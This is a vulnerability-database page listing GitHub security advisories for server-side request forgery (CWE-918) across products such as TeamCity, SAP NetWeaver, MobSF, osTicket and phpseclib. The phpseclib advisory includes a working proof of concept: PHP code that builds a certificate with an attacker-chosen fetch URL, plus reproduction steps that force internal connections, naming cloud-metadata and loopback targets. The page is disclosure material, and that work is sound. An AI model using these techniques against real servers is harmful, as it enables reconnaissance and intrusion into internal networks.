Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-M337-M764-PRG6

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

In JetBrains TeamCity before 2020.2.3, information disclosure via SSRF was possible.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains TeamCity before 2020.2.3, information disclosure via SSRF was possible.",
  "id": "GHSA-m337-m764-prg6",
  "modified": "2022-05-24T19:02:07Z",
  "published": "2022-05-24T19:02:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31910"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M37J-2VR4-QQ8W

Vulnerability from github – Published: 2022-02-26 00:00 – Updated: 2022-03-17 00:05
VLAI
Details

JetBrains Hub before 2021.1.14276 was vulnerable to blind Server-Side Request Forgery (SSRF).

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-25260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-25T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "JetBrains Hub before 2021.1.14276 was vulnerable to blind Server-Side Request Forgery (SSRF).",
  "id": "GHSA-m37j-2vr4-qq8w",
  "modified": "2022-03-17T00:05:04Z",
  "published": "2022-02-26T00:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25260"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M38C-5P3M-P7GM

Vulnerability from github – Published: 2026-02-14 09:31 – Updated: 2026-02-14 09:31
VLAI
Details

The User Language Switch plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.10 due to missing URL validation on the 'download_language()' function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-0745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-14T07:16:09Z",
    "severity": "HIGH"
  },
  "details": "The User Language Switch plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.10 due to missing URL validation on the \u0027download_language()\u0027 function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-m38c-5p3m-p7gm",
  "modified": "2026-02-14T09:31:33Z",
  "published": "2026-02-14T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0745"
    },
    {
      "type": "WEB",
      "url": "https://downloads.wordpress.org/plugin/user-language-switch.zip"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/user-language-switch/tags/1.6.10/uls-options.php#L451"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/user-language-switch/trunk/uls-options.php#L451"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/user-language-switch"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4d8d15be-6a7b-485e-a338-ccf1a6eb226c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3GF-JPXX-8RCQ

Vulnerability from github – Published: 2023-05-11 00:30 – Updated: 2024-04-04 04:02
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability that could allow a rogue server on the local network to modify its URL to point back to the loopback adapter was addressed in Western Digital My Cloud OS 5 devices. This could allow the URL to exploit other vulnerabilities on the local server.This issue affects My Cloud OS 5 devices before 5.26.202.

Severity
5.1 (Medium)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-10T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability that could allow a rogue server on the local network to modify its URL to point back to the loopback adapter was addressed in Western Digital My Cloud OS 5 devices. This could allow the URL to exploit other vulnerabilities on the local server.This issue affects My Cloud OS 5 devices before 5.26.202.\n\n\n",
  "id": "GHSA-m3gf-jpxx-8rcq",
  "modified": "2024-04-04T04:02:01Z",
  "published": "2023-05-11T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29840"
    },
    {
      "type": "WEB",
      "url": "https://www.westerndigital.com/support/product-security"
    },
    {
      "type": "WEB",
      "url": "https://www.westerndigital.com/support/product-security/wdc-23006-my-cloud-firmware-version-5-26-202"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3X5-X584-4RHH

Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-10-06 00:00
VLAI
Details

SAP Netweaver AS ABAP, versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, are vulnerable for Server Side Request Forgery Attack where in an attacker can use inappropriate path names containing malicious server names in the import/export of sessions functionality and coerce the web server into authenticating with the malicious server. Furthermore, if NTLM is setup the attacker can compromise confidentiality, integrity and availability of the SAP database.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-6275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-10T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP Netweaver AS ABAP, versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, are vulnerable for Server Side Request Forgery Attack where in an attacker can use inappropriate path names containing malicious server names in the import/export of sessions functionality and coerce the web server into authenticating with the malicious server. Furthermore, if NTLM is setup the attacker can compromise confidentiality, integrity and availability of the SAP database.",
  "id": "GHSA-m3x5-x584-4rhh",
  "modified": "2022-10-06T00:00:57Z",
  "published": "2022-05-24T17:20:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6275"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2912939"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=547426775"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M435-9V6R-V5F6

Vulnerability from github – Published: 2025-06-27 20:43 – Updated: 2025-06-27 20:43
VLAI
Summary
MobSF vulnerability allows SSRF due to the allow_redirects=True parameter
Details

Summary

The fix for the "SSRF Vulnerability on assetlinks_check(act_name, well_knowns)" vulnerability could potentially be bypassed.

Details

Since the requests.get() request in the _check_url method is specified as allow_redirects=True, if "https://mydomain.com/.well-known/assetlinks.json" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is "http://192.168.1.102/user/delete/1", a request will be sent here as well.

image

It will be safer to use allow_redirects=False.

Impact

The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-54000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-27T20:43:48Z",
    "nvd_published_at": "2024-12-03T16:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe fix for the \"SSRF Vulnerability on assetlinks_check(act_name, well_knowns)\" vulnerability could potentially be bypassed.\n\n### Details\nSince the requests.get() request in the _check_url method is specified as allow_redirects=True, if \"https://mydomain.com/.well-known/assetlinks.json\" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is \"http://192.168.1.102/user/delete/1\", a request will be sent here as well.\n\n\u003cimg width=\"610\" alt=\"image\" src=\"https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/a8c9630e-3d12-441a-816c-8f5e427a5194\"\u003e\n\nIt will be safer to use allow_redirects=False.\n\n### Impact\nThe attacker can cause the server to make a connection to internal-only services within the organization\u0027s infrastructure.",
  "id": "GHSA-m435-9v6r-v5f6",
  "modified": "2025-06-27T20:43:49Z",
  "published": "2025-06-27T20:43:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-m435-9v6r-v5f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/f22c584aa7d43527970c9da61eb678953cfc0a8e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2024-256.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MobSF vulnerability allows SSRF due to the allow_redirects=True parameter"
}

GHSA-M43M-6GCH-QGC7

Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-07-01 00:01
VLAI
Details

IBM Jazz Team Server 6.0.6, 6.0.6.1, 7.0, 7.0.1, and 7.0.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 198931.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Jazz Team Server 6.0.6, 6.0.6.1, 7.0, 7.0.1, and 7.0.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 198931.",
  "id": "GHSA-m43m-6gch-qgc7",
  "modified": "2022-07-01T00:01:14Z",
  "published": "2022-06-25T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20544"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/198931"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6597513"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M47R-62MW-66MC

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-29 03:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Marco van Wieren WPO365 wpo365-login allows Server Side Request Forgery.This issue affects WPO365: from n/a through <= 40.0.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-67961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:05Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Marco van Wieren WPO365 wpo365-login allows Server Side Request Forgery.This issue affects WPO365: from n/a through \u003c= 40.0.",
  "id": "GHSA-m47r-62mw-66mc",
  "modified": "2026-01-29T03:31:27Z",
  "published": "2026-01-22T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67961"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wpo365-login/vulnerability/wordpress-wpo365-plugin-40-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M4X8-8RRP-JPC6

Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2026-07-10 18:32
VLAI
Details

SSRF exists in osTicket before 1.14.3, where an attacker can add malicious file to server or perform port scanning.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-24881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-02T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "SSRF exists in osTicket before 1.14.3, where an attacker can add malicious file to server or perform port scanning.",
  "id": "GHSA-m4x8-8rrp-jpc6",
  "modified": "2026-07-10T18:32:02Z",
  "published": "2022-05-24T17:32:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/osTicket/osTicket/commit/d98c2d096aeb8876c6ab2f88317cd371d781f14d"
    },
    {
      "type": "WEB",
      "url": "https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160995/osTicket-1.14.2-Server-Side-Request-Forgery.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M557-WRGG-6RP4

Vulnerability from github – Published: 2026-06-16 15:03 – Updated: 2026-07-08 17:37
VLAI
Summary
phpseclib: X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access
Details

Summary

When an application validates an untrusted X.509 certificate with phpseclib, X509::validateSignature() reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback 127.0.0.1, cloud metadata address 169.254.169.254, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.

Details

When no already-trusted certificate authority is the issuer of certificate under validation, validateSignatureCountable() continues to AIA fetching. Default for validateSignature() is caonly = true:

// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)
if (!isset($signingCert)) {
    if ($caonly) {
        return $this->testForIntermediate(true, $count) && $this->validateSignature(true);
    } else {
        try {
            $this->testForSelfSigned();
            $signingCert = $this;
        } catch (BadMethodCallException) {
            return $this->testForIntermediate(true, $count) && $this->validateSignature(true);
        }
    }
}

testForIntermediate() takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:

// phpseclib/File/X509.php:1357-1391 (4.0 development line)
$opts = $this->getExtension('id-pe-authorityInfoAccess');
...
foreach ($opts['extnValue'] as $opt) {
    if ($opt['accessMethod'] == 'id-ad-caIssuers') {
        if (isset($opt['accessLocation']['uniformResourceIdentifier'])) {
            $url = (string) $opt['accessLocation']['uniformResourceIdentifier']; // attacker controlled
            break;
        }
    }
}
...
$cert = static::fetchURL($url); // server-side request forgery

fetchURL() connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:

// phpseclib/File/X509.php:1456-1476 (4.0 development line)
private static function fetchURL(string $url): ?string
{
    if (self::$disable_url_fetch) {  // default false, so fetching happens
        return null;
    }
    $parts = parse_url($url);
    switch ($parts['scheme']) {
        case 'http':
            $fsock = @fsockopen($parts['host'], $parts['port'] ?? 80); // attacker host and port
            ...
            fputs($fsock, "GET $path HTTP/1.0\r\n");
            fputs($fsock, "Host: $parts[host]\r\n\r\n");

Fetching is on by default:

// phpseclib/File/X509.php:110 (4.0 development line)
private static bool $disable_url_fetch = false;

Same default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at $disable_url_fetch = false on line 255 and fsockopen($parts['host'], ...) on line 1136 of phpseclib/File/X509.php.

Why this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:

  1. URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls.
  2. Fetching is enabled by default. An integrator who simply calls validateSignature() gets outbound requests with no opt-in. Only control, X509::disableURLFetch(), is off by default, so secure behaviour requires knowing about and calling a method that most callers never see.
  3. No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.

Reachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches testForIntermediate().

Response handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.

PoC

Two reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.

Build malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):

composer require phpseclib/phpseclib:4.0.x-dev

<?php
require 'vendor/autoload.php';

use phpseclib4\Crypt\RSA;
use phpseclib4\File\X509;

$url = 'http://127.0.0.1:19090/ssrf';

$key  = RSA::createKey(2048)->withPadding(RSA::SIGNATURE_PKCS1)->withHash('sha256');
$cert = new X509($key->getPublicKey());
$cert->addDNProp('id-at-commonName', 'attacker-leaf.example');
$cert->setEndDate('lifetime');
$cert->setExtension('id-pe-authorityInfoAccess', [
    ['accessMethod' => 'id-ad-caIssuers',
     'accessLocation' => ['uniformResourceIdentifier' => $url]],
]);
$key->sign($cert);
file_put_contents('attacker_cert.pem', (string) $cert);

Stand up a listener that represents an internal service on a port that is not otherwise reachable from outside:

php -r '$s=stream_socket_server("tcp://127.0.0.1:19090",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);'

Reproduction on released LTS 3.0.53. Install it and have an application validate certificate:

composer require phpseclib/phpseclib:~3.0.0

<?php
require 'vendor/autoload.php';

use phpseclib3\File\X509;

$v = new X509();
$v->loadX509(file_get_contents('attacker_cert.pem'));
$v->validateSignature();   // connects to 127.0.0.1:19090 during validation

Reproduction on 4.0 development line. Same certificate, 4.0 namespace:

<?php
require 'vendor/autoload.php';

use phpseclib4\File\X509;

X509::clearCAStore();      // attacker cert issuer is not trusted
$v = X509::load(file_get_contents('attacker_cert.pem'));
$v->validateSignature();   // connects to 127.0.0.1:19090 during validation

Observed result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though validateSignature() returns false:

GET /ssrf HTTP/1.0
Host: 127.0.0.1

This was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls loadX509() then validateSignature() makes server connect outbound to attacker-chosen 127.0.0.1:19090. Changing host and port in certificate reaches any internal address and port, for example 169.254.169.254 or 127.0.0.1:6379.

Negative control. With X509::disableURLFetch() set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.

Impact

This is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.

An application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.

What an attacker gains:

  • Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond.
  • Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges.
  • Requests to cloud metadata endpoints such as 169.254.169.254, which answer plain HTTP GET on some providers.

Because fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.

Suggested fix, strongest first: default disableURLFetch to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside fetchURL() by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing setCRLLookupCallback(); and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.29"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpseclib/phpseclib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.1"
            },
            {
              "fixed": "1.0.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.54"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpseclib/phpseclib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.53"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpseclib/phpseclib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.54"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T15:03:58Z",
    "nvd_published_at": "2026-06-22T21:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen an application validates an untrusted X.509 certificate with phpseclib, **X509::validateSignature()** reads a URL out of that certificate\u0027s Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback **127.0.0.1**, cloud metadata address **169.254.169.254**, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.\n\n### Details\n\nWhen no already-trusted certificate authority is the issuer of certificate under validation, **validateSignatureCountable()** continues to AIA fetching. Default for **validateSignature()** is **caonly = true**:\n\n```\n// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)\nif (!isset($signingCert)) {\n    if ($caonly) {\n        return $this-\u003etestForIntermediate(true, $count) \u0026\u0026 $this-\u003evalidateSignature(true);\n    } else {\n        try {\n            $this-\u003etestForSelfSigned();\n            $signingCert = $this;\n        } catch (BadMethodCallException) {\n            return $this-\u003etestForIntermediate(true, $count) \u0026\u0026 $this-\u003evalidateSignature(true);\n        }\n    }\n}\n```\n\n**testForIntermediate()** takes URL straight out of certificate\u0027s AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:\n\n```\n// phpseclib/File/X509.php:1357-1391 (4.0 development line)\n$opts = $this-\u003egetExtension(\u0027id-pe-authorityInfoAccess\u0027);\n...\nforeach ($opts[\u0027extnValue\u0027] as $opt) {\n    if ($opt[\u0027accessMethod\u0027] == \u0027id-ad-caIssuers\u0027) {\n        if (isset($opt[\u0027accessLocation\u0027][\u0027uniformResourceIdentifier\u0027])) {\n            $url = (string) $opt[\u0027accessLocation\u0027][\u0027uniformResourceIdentifier\u0027]; // attacker controlled\n            break;\n        }\n    }\n}\n...\n$cert = static::fetchURL($url); // server-side request forgery\n```\n\n**fetchURL()** connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:\n\n```\n// phpseclib/File/X509.php:1456-1476 (4.0 development line)\nprivate static function fetchURL(string $url): ?string\n{\n    if (self::$disable_url_fetch) {  // default false, so fetching happens\n        return null;\n    }\n    $parts = parse_url($url);\n    switch ($parts[\u0027scheme\u0027]) {\n        case \u0027http\u0027:\n            $fsock = @fsockopen($parts[\u0027host\u0027], $parts[\u0027port\u0027] ?? 80); // attacker host and port\n            ...\n            fputs($fsock, \"GET $path HTTP/1.0\\r\\n\");\n            fputs($fsock, \"Host: $parts[host]\\r\\n\\r\\n\");\n```\n\nFetching is on by default:\n\n```\n// phpseclib/File/X509.php:110 (4.0 development line)\nprivate static bool $disable_url_fetch = false;\n```\n\nSame default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at **$disable_url_fetch = false** on line 255 and **fsockopen($parts[\u0027host\u0027], ...)** on line 1136 of **phpseclib/File/X509.php**.\n\nWhy this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:\n\n1. URL comes from untrusted input. It is read out of certificate that an application is trying to validate, which is exactly the data an attacker controls.\n2. Fetching is enabled by default. An integrator who simply calls **validateSignature()** gets outbound requests with no opt-in. Only control, **X509::disableURLFetch()**, is off by default, so secure behaviour requires knowing about and calling a method that most callers never see.\n3. No destination is restricted. Loopback, private ranges, link-local metadata, and arbitrary ports are all reachable. Mature implementations of AIA fetching restrict destinations precisely to prevent this.\n\nReachability is not narrow. Fetch triggers whenever certificate\u0027s issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches **testForIntermediate()**.\n\nResponse handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.\n\n### PoC\n\nTwo reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.\n\nBuild malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):\n\n```\ncomposer require phpseclib/phpseclib:4.0.x-dev\n```\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse phpseclib4\\Crypt\\RSA;\nuse phpseclib4\\File\\X509;\n\n$url = \u0027http://127.0.0.1:19090/ssrf\u0027;\n\n$key  = RSA::createKey(2048)-\u003ewithPadding(RSA::SIGNATURE_PKCS1)-\u003ewithHash(\u0027sha256\u0027);\n$cert = new X509($key-\u003egetPublicKey());\n$cert-\u003eaddDNProp(\u0027id-at-commonName\u0027, \u0027attacker-leaf.example\u0027);\n$cert-\u003esetEndDate(\u0027lifetime\u0027);\n$cert-\u003esetExtension(\u0027id-pe-authorityInfoAccess\u0027, [\n    [\u0027accessMethod\u0027 =\u003e 